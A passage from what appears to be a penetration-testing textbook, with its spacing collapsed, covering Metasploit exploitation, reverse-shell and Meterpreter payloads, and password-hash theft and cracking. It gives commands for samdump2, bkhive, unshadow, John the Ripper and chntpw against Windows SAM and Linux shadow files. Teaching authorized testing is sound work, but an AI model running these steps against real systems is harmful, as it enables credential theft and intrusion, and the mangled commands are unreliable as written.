After sending the “exploit” command, you can sit back and watch as themagichappens.Totrulyappreciatethebeautyandcomplexityofwhatisgoingon here, you need to build your understanding of buffer overflows andexploitation. This is something that ishighly encouragedwhen you finish thebasics covered in this book. Metasploit gives you the ability to stand on theshouldersofgiantsandthepowertolaunchincrediblycomplexattackswithjusta few commands. You should revel in the moment and enjoy the victory ofconquering your target, but you should also commit yourself to learning evenmore.Commityourselftoreallyunderstandingexploitation.After typing “exploit”, Metasploit will go off and do its thing, sending

exploits and payloads to the target. This is where the “hacking like HughJackman”partcomesin.Ifyousetupeverythingcorrectly,afterafewsecondsyouwillbepresentedwithascreenbelongingtoyourvictimmachine.Because

ourpayloadinthisexamplewasaVNCinstall,youwillhavetheabilitytoviewandinteractwiththetargetmachineasifyouwerephysicallysittinginfrontofit.It ishardnottobeimpressedandevenalittlebewilderedthefirst timeyousee(orcomplete)thisexploit inreal time.Figure4.6showsanexampleof thecompletedMetasploit attack. Notice, the computer that launched the attack isKali,but theattackermachinehas fullGUIaccess to theWindowsdesktopofthevictim.

FIGURE4.6 ScreenshotshowingsuccessfulexploitofWindowstarget.

Below you will find a cheat sheet of the steps required to run Metasploitagainstatargetmachine.

1.StartMetasploitbyopeningaterminalandissuethefollowingcommand:a.msf>msfconsole

2.Issuethe“search”commandtosearchforexploitsthatmatchyourvulnerabilityscanningreport:

a.msf>searchmissing_patch_number(orCVE)3.Issuethe“use”commandtoselectthedesiredexploit:

a.msf>useexploit_name_and_path_as_shown_in_2a4.Issue“showpayloads”commandtoshowavailablepayloads:

a.msf>showpayloads5.Issue“set”commandtoselectpayload:

a.msf>setpayloadpath_to_payload_as_shown_in_4a6.Issue“showoptions”toviewanyoptionsneedingtobefilledoutbefore

exploitingthetarget:a.msf>showoptions

7.Issuethe“set”commandforanyoptionslistedin6a:a.msf>setoption_namedesired_option_input

8.Issue“exploit”commandtolaunchexploitagainsttarget:a.msf>“exploit”

ALERT!The VNC payload requires the target OS to be running a GUI-basedOS likeMicrosoftWindows. Ifyour target isnot runningaGUI, thereare lotsofotherpayloads,whichprovidedirectaccesstothetargetsystem!

Now that you have a basic understanding of how to use Metasploit, it isimportant to review a fewmore of the basic payloads available to you. Eventhough the VNC inject is incredibly cool and great for impressing friends,relatives, andcoworkers, it is rarelyused inanactualpenetration test (PT). Inmostpenetrationtests,hackerspreferasimpleshellallowingremoteaccessandcontrolofthetargetmachine.Table4.1isalistofsomebasicpayloads.PleaserefertotheMetasploitdocumentationforacompletelist.Remember,oneofthepowersofMetasploitistheabilitytomixandmatchexploitsandpayloads.Thisprovides a penetration testerwith an incredible amount of flexibility, allowingthefunctionalityofMetasploittochangedependingonthedesiredoutcome.Itisimportantthatyoubecomefamiliarwiththevariouspayloadsavailabletoyou.

Table4.1SampleofPayloadsAvailableforTargetingWindowsMachines

MetasploitPayloadName PayloadDescription

Windows/adduser Createanewuserinthelocaladministratorgrouponthetargetmachine

Windows/exec ExecuteaWindowsbinary(.exe)onthetargetmachine

Windows/shell_bind_tcp Openacommandshellonthetargetmachineandwaitforaconnection

Windows/shell_reverse_tcp Targetmachineconnectsbacktotheattackerandopensacommandshell(onthetarget)

Windows/meterpreter/bind_tcp Targetmachineinstallsthemeterpreterandwaitsforaconnection

Windows/Meterpreter/reverse_tcp Installsmeterpreteronthetargetmachinethencreatesaconnectionbacktotheattacker

Windows/vncinject/bind_tcp InstallsVNConthetargetmachineandwaitsforaconnection

Windows/vncinject/reverse_tcp InstallsVNConthetargetmachineandsendsVNCconnectionbacktotarget

Many of these same payloads exist for Linux,BSD,OSX, and otherOSs.Again,youcanfindthefulldetailsbyreviewingtheMetasploitdocumentationclosely. One source of confusion for many people is the difference betweensimilar payloads like “windows/meterpreter/bind_tcp” and“windows/meterpreter/reverse_tcp”.Thekeywordthatcausestheconfusionhereis “reverse”. There is a simple but an important difference between the twopayloadsandknowingwhentouseeachwilloftenmeanthedifferencebetweenan exploit’s success and failure. The key difference in these attacks is thedirectionoftheconnectionaftertheexploithasbeendelivered.Ina“bind”payload,wearebothsendingtheexploitandmakingaconnection

tothetargetfromtheattackingmachine.Inthisinstance,theattackersendstheexploit tothetargetandthetargetwaitspassivelyforaconnectiontocomein.Aftersendingtheexploit,theattacker’smachinethenconnectstothetarget.Ina“reverse”payload,theattackingmachinesendstheexploitbutforcesthe

targetmachinetoconnectbacktotheattacker.Inthistypeofattack,ratherthanpassively waiting for an incoming connection on a specified port or service,thetargetmachineactivelymakesaconnectionbackto theattacker.Figure4.7shouldmakethisconceptclearer.

FIGURE4.7 Differencebetweenbindandreversepayloads.

The lastMetasploit topic todiscuss is theMeterpreter.TheMeterpreter is apowerfulandflexibletoolthatyouwillneedtolearntocontrolifyouaregoingtomastertheartofMetasploit.TheMeta-Interpreter,orMeterpreter,isapayloadavailable inMetasploit thatgivesattackersapowerfulcommandshell thatcanbeusedtointeractwiththeirtarget.Another big advantage of theMeterpreter is the fact that it runs entirely in

memoryandneverutilizestheharddrive.Thistacticprovidesalayerofstealththathelpsitevademanyantivirussystemsandconfoundssomeforensictools.TheMeterpreter functions in amanner similar toWindows cmd.exe or the

Linux binsh command. Once installed on the victim machine, it allows theattacker to interactwithandexecutecommandson the targetas if theattackerwere sitting at the local machine. It is very important to understand that theMeterpreterwill runwith the privileges associatedwith the program thatwasexploited. For example, assume that our favoriteNetworkAdminBenOwnedhasdisregardedallcommonsenseandisrunninghisIRCprogramas“root”(theLinux equivalent of theWindows “Administrator” account).Unfortunately forBen,hissystemisout-of-date,andduringarecentpenetrationtest,theattackerwasabletoexploitBen’sIRCclientinstallingMetasploit’sMeterpreter.BecauseBen was running the IRC program as the root account, and because the IRCprogram was exploited by Metasploit, the Meterpreter shell is now able tofunction with all the privileges and rights of the “root” account! This is oneexample in a long listof reasonswhy it is important to runallyourprogramswiththemostrestrictiveprivilegespossible,andavoidrunninganythingasrootoradministrator.

AnotherreasonforusingtheMeterpreteroveratraditionalcmdorLinuxshellstemsfromthefactthatstartingeitheroftheseonatargetmachineoftenstartsanew process that can be detected by a keen user or wily administrator. Thismeansthattheattackerraiseshisorhervisibilityandchancesofdetectionwhileinteractingwith the targetmachine. Furthermore, both the cmd.exe and binshprovide a limited number of tools and commands that can be accessed.Incontrast, theMeterpreterwasbuilt fromthegroundup tobeusedassortof“hacker’scmd”withtheabilitytoaccessandcontrolthemostpopulartoolsandfunctionsneededduringapenetrationtest.TheMeterpreter hasmany great features that are built in by default. Basic

functionsincludethe“migrate”command,whichisusefulformovingtheserverto another process. Migrating the Meterpreter server to another process isimportant,incasethevulnerableserviceyouattackedisshutdownorstopped.Anotherusefulfunctionisthe“cat”commandthatcanbeusedtodisplaylocalfile contents on the screen. This is useful for reviewing various files on thetarget.The“download”commandallowsyoutopullafileordirectoryfromthetargetmachine,making a local copy on the attacker’smachine. The “upload”command can be used tomove files from the attacker’smachine to the targetmachine.The“edit”commandcanbeusedtomakechangestosimplefiles.The“execute” command can be used to issue a command and have it run on theremotemachine, whereas “kill” can be used to stop a process. The followingcommandsarealsousefulandprovidetheexactsamefunctionastheydoonanormal Linux machine: “cd”, “ls”, “ps”, “shutdown”, “mkdir”, “pwd”, and“ifconfig”.Someof themore advanced features include the ability to extract password

hashes through the “hashdump” command, the ability to interact with a rubyshell,theabilitytoloadandexecutearbitraryDynamicLinkLibrary(DLLs)onthetarget,theabilitytoremotelycontrolthewebcamandmicrophone,andeventheabilitytolockoutthelocalkeyboardandmouse!As you can see, gaining access to a Meterpreter shell is one of the most

powerful,flexible,andstealthywaysthatanattackercaninteractwithatarget.Itiswellworthyourtimetolearnhowtousethishandytool.WewillcomebacktotheMeterpreterwhenwediscusspostexploitationinstep4.

JtR:KingofthePasswordCrackersIt is hard to imagine discussing a topic like the basics of hacking without

discussingpasswordsandpasswordcracking.Nomatterwhatwedoorhowfarweadvance, it appears thatpasswords remain themostpopularway toprotectdataandallowaccesstosystems.Withthisinmind,letustakeabriefdetourtocoverthebasicsofpasswordcracking.There are several reasons why a penetration tester would be interested in

cracking passwords. First and foremost, this is a great technique for elevatingandescalatingprivileges.Considerthefollowingexample:assumethatyouwereable tocompromisea targetsystembutafter logging in,youdiscover thatyouhavenorightsonthatsystem.Nomatterwhatyoudo,youareunabletoreadandwrite in the target’s filesand foldersandevenworse,youareunable to installanynewsoftware.Thisisoftenthecasewhenyougetaccesstoalow-privilegedaccountbelongingtothe“user”or“guest”group.If the account you accessed has few or no rights, you will be unable to

performmany of the required steps to further compromise the system. I haveactually been involved with several Red Team exercises where seeminglycompetenthackersareatacomplete losswhenpresentedwithanunprivilegedaccount. They throw up their hands and say “Does anyonewant unprivilegedaccesstothismachine?Idon’tknowwhattodowithit.”Inthiscase,passwordcracking iscertainlyausefulway toescalateprivilegesandoftenallowsus togainadministrativerightsonatargetmachine.Anotherreasonforcrackingpasswordsandescalatingprivilegesisthatmany

of the toolswe runaspenetration testers requireadministrative-levelaccess inordertoinstallandexecuteproperly.Asafinalthought,onoccasion,penetrationtestersmayfindthemselvesinasituationwheretheywereabletocrackthelocaladministrator password (the local admin account on amachine) and have thispasswordturnouttobetheexactsamepasswordthatthenetworkadministratorwasusingforthedomainadministratoraccount.

ALERT!Passwordhint#1:Never,never,neveruse the samepassword foryour local machine administrator as you do for your domainadministratoraccount.

Ifwe can access the password hashes on a targetmachine, the chances aregood that with enough time, JtR, a password-cracking tool, can discover theplaintext version of a password. Password hashes are the encrypted andscrambled versions of a plaintext password. These hashes can be accessedremotely or locally. Regardless of howwe access the hash file, the steps andtools required tocrack thepasswords remain thesame. In itsmostbasic form,passwordcrackingconsistsoftwoparts:

1.Locateanddownloadthetargetsystem’spasswordhashfile.2.Useatooltoconvertthehashed(encrypted)passwordsintoaplaintext

password.Mostsystemsdonotstoreyourpasswordastheplaintextvalueyouenter,but

rathertheystoreanencryptedversionofthepassword.Thisencryptedversioniscalled a hash. For example, assume you pick a password “qwerty” (which isobviously a bad idea).When you log into your PC, you type your password“qwerty” to access the system. However, behind the scenes your computer isactuallycalculating,creating,passing,andcheckinganencryptedversionofthepasswordyouentered.Thisencryptedversionorhashofyourpasswordappearstobearandomstringofcharactersandnumbers.Different systems use different hashing algorithms to create their password

hashes.Mostsystemsstoretheirpasswordhashesinasinglelocation.Thishashfile usually contains the encrypted passwords for several users and systemaccounts.Unfortunately,gainingaccesstothepasswordhashesisonlyhalf thebattlebecause simplyviewingorevenmemorizingapasswordhash (if suchathingwere possible) is not enough to determine the plaintext. This is becausetechnically it isnot supposed tobepossible toworkbackward fromahash toplaintext. By its definition, a hash, once encrypted, is never meant to bedecrypted.Consider the following example. Assume that we have located a password

hashandwewant todiscover theplaintextvalue.It is important tounderstandthat in most cases we need the plaintext password, not the hashed password.Entering the hashed value into the systemwill not get us access because thiswouldsimplycausethesystemtohashthehash(whichisobviouslyincorrect).

ADDITIONALINFORMATIONThere is an attack called “Pass the hash” which allows you toreplay or resend the hashed value of a password in order to

authenticatewithaprotectedservice.Whenapass-the-hashattackis used, there is no need to crack the password and discover itsplaintextvalue.

In order to discover the plaintext version of a password, we need to circlethroughaseriesofsteps.Firstweselectahashingalgorithm,secondwepickaplaintextword,thirdweencrypttheplaintextwordwiththehashingalgorithm,andfinallywecomparethenewlyhashedwordwiththehashfromourtarget.Ifthe hashes match, we know the plaintext password because no two differentplaintextwordsshouldproducetheexactsamehash.Althoughthismayseemlikeaclumsy,awkward,orslowprocessforahuman,

computers specialize in tasks like this. Given the computing power availabletoday, completing the four-step process outlined above is trivial for amodernmachine. The speed at which JtR can generate password hashes will varydepending on the algorithm being used to create the hashes and the hardwarethat is running JtR. It is safe to say that even an average computer is capableof generating millions of Windows (Lan Manager (LM)) password guessesevery second. JtR includes a nifty feature that allows you to benchmark yourcomputer’sperformance.Thisbenchmarkwillbemeasuredincrackspersecond(c/s).YoucanrunthisbyopeningaterminalandnavigatingtotheJtRdirectoryasshownbelow:cdusrshare/johnOnceyouareintheJohndirectory,youcanissuethefollowingcommandto

testyourc/smetric.NotethatyoudonotneedtobeintheJohndirectory.TheJohnexecutableislocatedunderusrsbin/soitcanbeexecutedinanydirectory.john--testThiswill provide youwith a list of performancemetrics and let you know

howefficientyoursystemisatgeneratingguessesbasedonyourhardwareandthealgorithmbeingusedtohashthepasswords.As previously mentioned, password cracking can be performed as either a

localattackoraremoteattack.Inourinitialdiscussionbelow,wewillfocusonpassword cracking from the local perspective. That is, how an attacker orpenetrationtesterwouldcrackthepasswordsif theyhadphysicalaccess to themachine.Examiningtheattackfromalocalperspectivewillallowyoutolearnthepropertechniques.Wewillwrapupthissectionbydiscussinghowthisattack

canbeperformedremotely.

LocalPasswordCrackingBeforewecancrackpasswordsona localmachine,wefirsthaveto locate thepassword hash file. As mentioned earlier, most systems store the encryptedpasswordhashesinasinglelocation.InWindows-basedsystems,thehashesarestoredinaspecialfilecalledthesecurityaccountmanager(SAM)file.OnNT-basedWindows systems includingWindows 2000 and above, theSAM file islocated in theC:\Windows\System32\Config\directory.NowthatweknowthelocationoftheSAMfile,weneedtoextractthepasswordhashesfromthefile.Because the SAM file holds some very important information,Microsoft haswiselyaddedsomeadditionalsecurityfeaturestohelpprotectthefile.ThefirstprotectionisthattheSAMfileisactuallylockedwhentheOSboots

up.ThismeansthatwhiletheOSisrunningwedonothavetheabilitytoopenorcopytheSAMfile.Inadditiontothelock,theentireSAMfileisencryptedandnotviewable.Fortunately, there isawaytobypassboth theserestrictions.Becauseweare

discussinglocalattacksandbecausewehavephysicalaccesstothesystem,thesimplestwaytobypasstheseprotectionsistoboottoanalternateOSlikeKali.By booting our target to an alternateOS,we are able to bypass theWindowsSAMlock.ThisispossiblebecausetheWindowsOSneverstarts,thelockneverengages,andwearefreetoaccesstheSAMfile.Unfortunately,theSAMfileisstill encrypted, soweneed to use a tool to access thehashes.Fortunately, therequiredtoolisbuiltintoKali.

ADDITIONALINFORMATIONThere aremanydifferentways toboot your target to an alternateOS.Theeasiestmethodsusuallyinvolvedownloadinga“live”CDorDVD.TheliveCDorDVDisthenburnedtoadisc,whichcanbe inserted into the optical drive of the target machine. Manysystemswillchecktheirdrivesformediaandautomaticallyattemptto boot from it when detected. If your target system does notautomaticallyattempttobootfromtheopticaldrive,youcanuseakey combination to access and change the device boot order orenter the basic input/output system settings to order the target to

bootfromtheopticaldrive.Intheeventthatyourtargetdoesnothaveanopticaldrive,you

can also useUNetbootin to create a bootable universal serial bus(USB)drive.UNetbootinallowsyoutomake“live”Linuxversionsof Kali and several other distributions. Combining UNetBootinwithaKaliISOallowsyoutorunanentireOSfromasingleUSBthumb drive, which creates a very powerful, portable, andconcealable toolkit. Aswith the liveCD/DVD, youmay need tochange the victim’s boot order before your target will load thealternateOSfromyourUSBthumbdrive.

AfterbootingthetargetsystemtoanalternateOS,thefirstthingyouneedtodo is tomount the localharddrive.Besure tomount thedrivecontaining theWindowsfolder.Wecanaccomplishthisbyopeningaterminalandtyping:mountdevsda1mntsda1Itisimportantthatyoumountthecorrectdriveasnotalltargetsystemswill

haveadevsda1.Ifyouareunsureaboutwhichdrivetomount,youcanrunthe“fdisk–l”commandfromtheterminal.Thefdisktoolwilllisteachofthedrivesavailableonyourtargetsystemandshouldhelpyoudeterminewhichdriveyouneedtomount.Youmayalsoneedtocreateamountpointinthe/mntdirectory.Todoso,youcansimplyusethe“mkdir”command:mkdirmntsda1Ifyouareunsureabouthowtousethemountcommandorlocatetheproper

drive, please review theLinuxmanpages for themount commandorpracticeyournewlyacquiredGoogleskillsfromstep1.OnceyouhavesuccessfullymountedthelocaldriveinKali,youwillbeable

tobrowsetheWindows“C:\”drive.YoushouldnowbeabletonavigatetotheSAM file. You can do so by typing the following command into a terminalwindow:cdmntsda1/Windows/system32/configIfeverythinghasgoneasplanned,youshouldbeinthedirectorycontaining

theSAMfile.Toviewthecontentsofthecurrentfolderissuethe“ls”commandin the terminal window, you should see the SAM file. Figure 4.8 shows ascreenshot displaying each of the steps required to locate the SAM file(assumingyouhaveamntsda1directoryalreadycreated).

FIGURE4.8 LocatingtheSAMfileforlocalpasswordcracking.

Instep1weissuethe“fdisk–l”commandtoviewtheavailabledrivesonthelocal disk. In step 2, fdisk responds back by stating that there is a drive atdevsda1. In step 3, we use this information to mount the drive into our“mntsda1”foldersothatwecanaccessthelocalharddrive.Nowthatourdriveismountedandavailable, in step4,wemove into thedirectorycontaining theSAMfilebyusing the“cd” (changedirectory)command. In step5,weverifythat we are in the proper directory by issuing the “ls” command to list thecontentsofthecurrentfolder.Finally,step6showstheSAMfile.NowthatwehavelocatedtheSAMfile,wecanuseatoolcalledSamdump2

toextractthehashes.AtthispointwehavetheabilitytoviewandcopytheSAMfile, in effect overcoming the first security feature, but the SAM file is stillencrypted.InordertoviewanunencryptedcopyoftheSAMfile,weneedtorunSamdump2.Samdump2utilizes a file on the localmachine called “system” todecrypt the SAM file. Fortunately, the “system” file is located in the samedirectoryastheSAMfile.TorunSamdump2,weissuethe“samdump2”commandfollowedbythename

andlocationofthe“system”file,followedbythenameandlocationoftheSAMfilewewant to view. Recall that earlierwe had issued the “cd” command tonavigate to theWindows/system32/config folder.At this point,we can extract

thecontentsoftheSAMfilebyrunningthefollowingcommandinaterminal:samdump2systemSAM>tmphashes.txtThis will invoke the Samdump2 program and appending the “ >tmp

hashes.txt”commandwillsavetheresultstoafilecalled“hashes.txt”inKali’s/tmp directory. It is always a good idea to verify the extracted hashes beforecontinuing.Youcanusethe“cat”commandtoensureyouhavealocalcopyofthehashes.txtfileasshownbelow:cattmphashes.txtFigure4.9 showsa screenshotof theSamdump2commandanddisplays the

contentsofthehashes.txtfile.

ALERT!AccessingtherawhashesonsomeWindowssystemsmayrequirean extra step. Bkhive is a tool which allows you to extract theSyskeybootkey fromthesystemhive. Itmaybenecessary tousebkhive to extract the system key in order to fully expose thepasswordhashes.Torunbkhive,weneedtosupplythesystemfileandanamefor

the output file which will contain the extracted key. Luckily, asmentioned, theMicrosoft was kind enough to keep the “system”fileinthesamedirectoryastheSAMfile.Aspreviouslydiscussed,these files are typically found in the Windows/system32/configdirectory. If you examine the contents of the config folder, youshouldfindthe“system”filebelongingtothetargetmachine.Assuming you are already in the folder containing the system

andSAMfiles,youcanutilizebkhive toextract thekeywith thefollowingcommand:bkhivesystemsys_key.txtAt this point we can continue on with our attack by using

Samdump2. In this case, we utilize Samdump2 with our newlycreatedsys_key.txtfileasshownbelow:samdump2SAMsys_key.txt>tmphash.txtThroughoutthisexample(andallexamplesinthisbook)besure

topay special attention to the exact spelling and capitalizationofdirectory, file, and folder names when issuing commands.

DependingontheversionofWindowsyouaretargeting,youmayfind “system32” or “System32” being used. Mistyping the namewillcausethecommandtoerroroutandfail.With the hashes now extracted, we can proceed to crack them

withJtR.

FIGURE4.9 Extractingandviewingpasswordhasheswithsamdump2.

Nowthatwehavethepasswordhashessaved,weneedtotransferthemoffthelive Kali disk. This can be done by simply e-mailing the hashes.txt file toyourself or inserting a thumb drive and creating a local copy of the hashes.Eitherway,makesureyousavethehashes.txtfilebecauseyouareworkingoffa“live”CDandyourchangesarenotpersistent.Thismeanswhenyourebootthetargetmachine,allthefilesyoucreatedintheKalidiskwillbegoneforgood!With thepasswordhashfilefromyour targetsystemin-hand,youcanbegin

the process of cracking the passwords.To accomplish this task,wewill use atoolcalledJtR.Likeeachoftheothertoolswehaveexamined,JtRisavailablefor free.You can download it fromhttp://www.openwall.com/john. Beforewebegin utilizing JtR, it is important that you understand howMicrosoft createspasswordhashes.OriginallyMicrosoftutilizedahashingalgorithmcalledLanManager(orLM

forshort).LMhashessufferedfromseveralkeyweaknessesthatmadepasswordcrackingatrivialtask.First,whenLMhashesarecreated,theentirepasswordisconverted to uppercase. Converting all the characters used in a password touppercase is a fundamental flaw that greatly reduces the strength of anypassword. This is because technically if we hash the word “Password” and“password”, even though they are only different by a single case of a singleletter, these twowordswillproduceadifferenthashoutput.However,becauseLM hashes convert every character to uppercase, we drastically reduce the

numberofguessesweneed tomake. Insteadof requiring anattacker toguess“password”, “Password”, “PASsword”, and so on, with every possiblecombinationofupperandlowercaseletters,theattackeronlyneedstomakethesingleguessof“PASSWORD”.Tofurthercompoundthisissue,everyLMpasswordis14charactersinlength.

Ifapasswordis<14characters,themissinglettersarefilledinwithnullvalues.Ifapasswordis>14characters,thepasswordistruncatedat14characters.The finalnail in thecoffinofLMpasswords (as if itneededanother) is the

factthatallstoredpasswords,whicharenow14charactersinlength,actuallygetsplitinhalfandstoredastwoindividualseven-characterpasswords.Thelengthof a password is one source of its strength; unfortunately because of the LMdesign,themaxpasswordthatneedstobecrackedissevencharacters.Johnwillactually attempt to crack each of the seven-character halves of the passwordindividuallyandtypicallymakesveryshortworkoutofit.Takeamoment toconsider theseflaws.Whentakentogether, theyrepresent

quite a blow to the security of any system. Suppose our favorite NetworkAdmin, Ben Owned is utilizing LM hashes on his Windows machine. He isawareof thedangersofweakpasswordssohecreates thefollowingpassword,whichhebelievesissecure:SuperSecretPassword!@#$.Unfortunately for Ben, he is operating under a false sense of security. His

complexpasswordwillactuallyundergoaseriesofchangesthatmakeitmuchless secure. First, the password is converted to all-uppercase:SUPERSECRETPASSWORD!@#$. Next, the password is truncated to beexactly 14 characters, with any remaining letters simply discarded. The newpassword is: SUPERSECRETPAS. Finally, the password is broken into equalhalvesofsevencharacterseach:SUPERSEandCRETPAS.WhenahackerorpenetrationtestergetsaholdofBen’spassword,theattacker

has to crack two simple, all-uppercase, seven-character passwords. That is adrastically simpler task than the original password ofSuperSecretPassword!@#$.Fortunately, Microsoft addressed these issues and now uses a more secure

algorithmcalledNTLMtocreateitspasswordhashes.However,asapenetrationtester, you will still find systems which are utilizing and storing LM hashes.ModernversionsofWindowsdonotuseorstoreLMhashesbydefault;evenso,thereareoptionstoenableLMonthesesystems.This“feature”isimplementedto support backward compatibility with legacy systems. As a side note, youshould always upgrade, or discontinue the use of any legacy software that

requires you to use LM hashes.Old systems often put your entire network atrisk.JtR is capable of cracking passwords by using a password dictionary or by

bruteforcinglettercombinations.Aswediscussedearlier,passworddictionariesareprecompiledlistsofplaintextwordsandlettercombinations.Oneadvantageofusingapassworddictionaryisthatitisveryefficient.Themaindisadvantageofthistechniqueisthatiftheexactpasswordisnotinthedictionary,JtRwillbeunsuccessful. Another method for cracking passwords is to brute force lettercombinations.Bruteforcinglettercombinationsmeansthatthepasswordcrackerwill generate passwords in a sequential order until it has exhausted everypossiblecombination.Forexample,thepasswordcrackerwillbeginbyguessingthepasswordasasingleletter:“a”.Ifthatguessisunsuccessful,itwilltry“aa”.If that guess is unsuccessful, itwillmove to “aaa” and so on.This process istypicallymuchslowerthanadictionaryguessingattack,buttheadvantageisthatgivenenoughtime,thepasswordwilleventuallybefound.Ifwetryeveryletterineverypossiblecombination,thereissimplynowhereforapasswordtohide.However, it is important to point out that the brute forcing passwords ofsignificantlengthandciphercantakeasignificantamountoftimetocrack.JtR is built into Kali. In order to run John, we do not need to be in any

directory, we can call it from anywhere since the John binary is located inusrsbin/john.WecanrunJohnbysimplytypingthefollowingcommands:johnAssuming our previously extracted “hashes.txt” file is located in the tmp

folder,fromthecommandline,wecanissuethefollowingcommand:johntmphashes.txtIn thecommandabove, “john” isused to invoke thepasswordcracking JtR

program.Thenextcommand“tmphashes.txt” isused tospecify the locationofthehashesthatweextractedusingSamdump2.Ifyousavedyourhashes.txtfiletoadifferentlocation,youwillneedtochangethispath.John is pretty good about guessing the type of password youwant to crack

but it is always best to specify. To specify the password type, use the “--format = format_name” command. John is capable of cracking dozens ofdifferentpasswordhashes;youcanfindthedetailsofeachinthedocumentationor on the openwall.com website. Recall that most modern Windows systemsmakeuseofNTLMhashes.IfyourtargetusesNTLMhashes,youwillneedtoappend the “--format=nt” switch to your original command. In this case, thecommandwouldlooklikethefollowing:

johntmphashes.txt--format=ntAfterissuingtheappropriatecommandtoinstructJtRtorun,theprogramwill

attempt to crack the passwords contained in the hashes.txt file.When John issuccessful in finding a password, it will display it to the screen. Figure 4.10shows thecommandsused tomove into theJohndirectory,executingJtR,andthe output of user names and passwords that were cracked. John presents theclear-textpasswordontheleftandtheusernameenclosedinparenthesisontheright.

FIGURE4.10 CrackedpasswordsfromJohntheRipper.

Below you will find a brief recap of the steps used to crack Windowspasswords. Remember this procedure covers attacking from the localperspective,whenyouhavephysicalaccesstothetargetmachine.Itisimportantthatyoupracticeandfullyunderstandhowtocompleteeachofthestepsbelow.Ifyouaregivenphysicalaccess toamachine,youshouldbeable tocompletesteps1–4in<5min.Thetimeittakestocompletestep5,theactualcrackingofthepasswords,willvarydependingonyourresourcesandthequalityorstrengthofthepasswordsyouarecracking.Youshouldalsobecomecomfortableenoughwitheachof thesteps thatyoucanperformthemwithout theaidofnotesoracheatsheet:

1.Shutdownthetargetmachine.2.BootthetargettoBacktackoranalternateOSviaaliveCDorUSB

drive.3.Mountthelocalharddrive.4.UseSamdump2andtoextractthehashes.5.UseJtRtocrackthepasswords.

RemotePasswordCrackingNow that you have a solid understanding of password cracking from a localattacker perspective, let us take a few minutes to discuss remote passwordcracking. Cracking passwords on remote systems is typically done after youhavesuccessfullylaunchedanexploitagainstthetargetmachine.Inourpreviousexample,weutilizedMetasploittolaunchaVNCpayloadonourremotetarget.WhiletheVNCpayloadisdefinitelyfun,amuchmorein-depthandfeature-richpayloadis theMeterpretershell.UtilizingMetasploit togainaremoteshellonthe targetwillprovideusaccess toauniquecommand terminalwhich (amongother things) makes gathering remote password hashes a breeze. With aMeterpreter session running on your target, simply enter the command“hashdump”. Meterpreter will bypass all the existing Windows securitymechanismsandpresentyouwithadumpof the targetusernameandhashes.Figure 4.11 shows a rerun of theMS08-067 exploit utilizing theMeterpreterpayload. You can see the “hashdump” command being issued and the victimgivingupitsusernameandpasswordhashes.

FIGURE4.11 Utilizingmeterpretertoaccessremotepasswordhashes.

Thesehashescanthenbecopied(directlyfromtheterminal)andpastedintoatext file.With theremotehashes inourpossession,wecannavigate to theJtRdirectoryandutilizeJohntocrackthepasswords.

LinuxPasswordCrackingandaQuickExampleofPrivilegeEscalationThe process of crackingLinux andOSX passwords ismuch the same as themethoddescribedabovewithafewslightmodifications.Linuxsystemsdonotuse an SAM file to store the password hashes. Rather the encrypted Linuxpasswordhashesarecontainedinafilecalledthe“shadow”filewhichislocatedatetcshadow.Thebadnews is thatonlyprivilegeduserscanaccess theetcshadow file. If

you have the appropriate privilege level to view the etcshadow file, you cansimplycopytheusernamesandhashesandbegincrackingthepasswordswithJohn.Unfortunately,mostusersdonothaveaccesstothisfile.The good news is that if you do not have the appropriate privilege level to

view the etcshadow file, there is another method. Linux also makes use of aredactedpasswordlistlocatedatetcpasswd.Thislististypicallyreadablebyallusers and we can utilize a special function included with JtR to combine theetcshadowandetcpasswordlists.Theoutputofthisprocessisasinglelistwhichincludestheoriginalhashes.ThisnewlistcanthenbefedintoJohnandcrackedlikeallofourpreviousexamples.Inmanyrespects,thisissimilartohowwehadtousethe“system”filewith

the SAM file to extract Windows password hashes. Unprivileged users cancombine the etcshadow and etcpasswd lists by utilizing the “unshadow”command.Tocombinethetwolists,issuethefollowingcommandinaterminal:unshadowetcpasswdetcshadow>tmplinux_hashes.txtThiscommandwill jointheetcpasswdwith theetcshadowfileandstore the

resultsinafilecalled“linux_hashes.txt”inthe/tmpdirectory.Nowthatwehaveextractedthehashes,wearealmostreadytobegincracking

theLinuxpasswords.MostmodernLinux systems store their passwordsusingthesecurehashalgorithm(SHA),sobesurethatyourversionofJtRiscapableofcrackingSHAhashes.Oncewehave thecorrectversionofJtRrunning,wecancompletethistaskbyissuingthefollowingcommand:johntmplinux_hashes.txtJtR contains many more options and switches that can be used to greatly

improve your cracking time and chances of success. You should spend sometimelearningabouteachoftheseswitches.

PasswordResetting:TheBuildingandtheWreckingBallThereisanotheroptionfordefeatingpasswords.Thistechniqueisalocalattackand requires physical access to the target machine; and although it is veryeffectiveatgainingyouaccesstothetarget,itisalsoverynoisy.Intheprevioussection,passwordcrackingwasdiscussed.Ifaskilledpenetrationtesterisabletoaccessatargetmachinealoneforjustafewminutes,heorsheshouldbeabletogetacopyof thepasswordhashes.All thingsconsidered, thiscouldbeaverystealthyattackanddifficult todetect. Inmostcases, thepenetration testerwillleave fewclues that heor shewas everon the targetmachine.Remember thepenetration tester can take the passwords off-site and crack themat his or herleisure.Password resetting is another technique that canbeused togainaccess toa

systemor toescalateprivileges;however, thismethodismuchlesssubtle thanpassword cracking. When first introducing this topic, it may be helpful tocompare this technique to a burglar driving a bulldozer through thewall of astore in order to gain access to the premises.Or better yet, using a crane andwrecking ball to punch a hole in awall rather than climbing through an openwindow. It may be effective, but you can be sure that the storeowner andemployeeswillknowthattheywerebrokeninto.Passwordresettingisatechniquethatallowsanattackertoliterallyoverwrite

the SAM file and create a new password for any user on amodernWindowssystem. This process can be performed without ever knowing the originalpassword,althoughasmentioned,itdoesrequireyoutohavephysicalaccesstothemachine.Aswithallother techniquesdiscussed in thisbook, it isvital thatyouhave

authorization before proceeding with this attack. It is also important youunderstand the implications of this technique.Once you change the password,therewillbenowaytorestoreit.Rememberthewreckingballanalogy?Itmaybeeffectivebuttheoriginalwallwillneverlookthesame.Whenyouresetthepassword,thenexttimeauserattemptstologinandfindsthatthepasswordhasbeenchanged;youcanbetthatsomeoneisgoingtonotice.Regardless,thisisstillanincrediblypowerfultechniqueandonethatcanbe

veryhandyforgainingaccesstoasystem.Toperformpasswordresetting,youwillneed toonceagainboot the target system toaKaliDVDor thumbdrive.Oncebooted,fromtheterminal,youwillneedtomountthephysicalharddrive

of the system containing the SAM file. You can find the instructions forperformingthistaskintheprevioussection.From here, you can run the “chntpw” command to reset the password. To

review the full options and available switches, you can issue the followingcommand:chntpw–hAssume that you want to reset the administrator password on your target

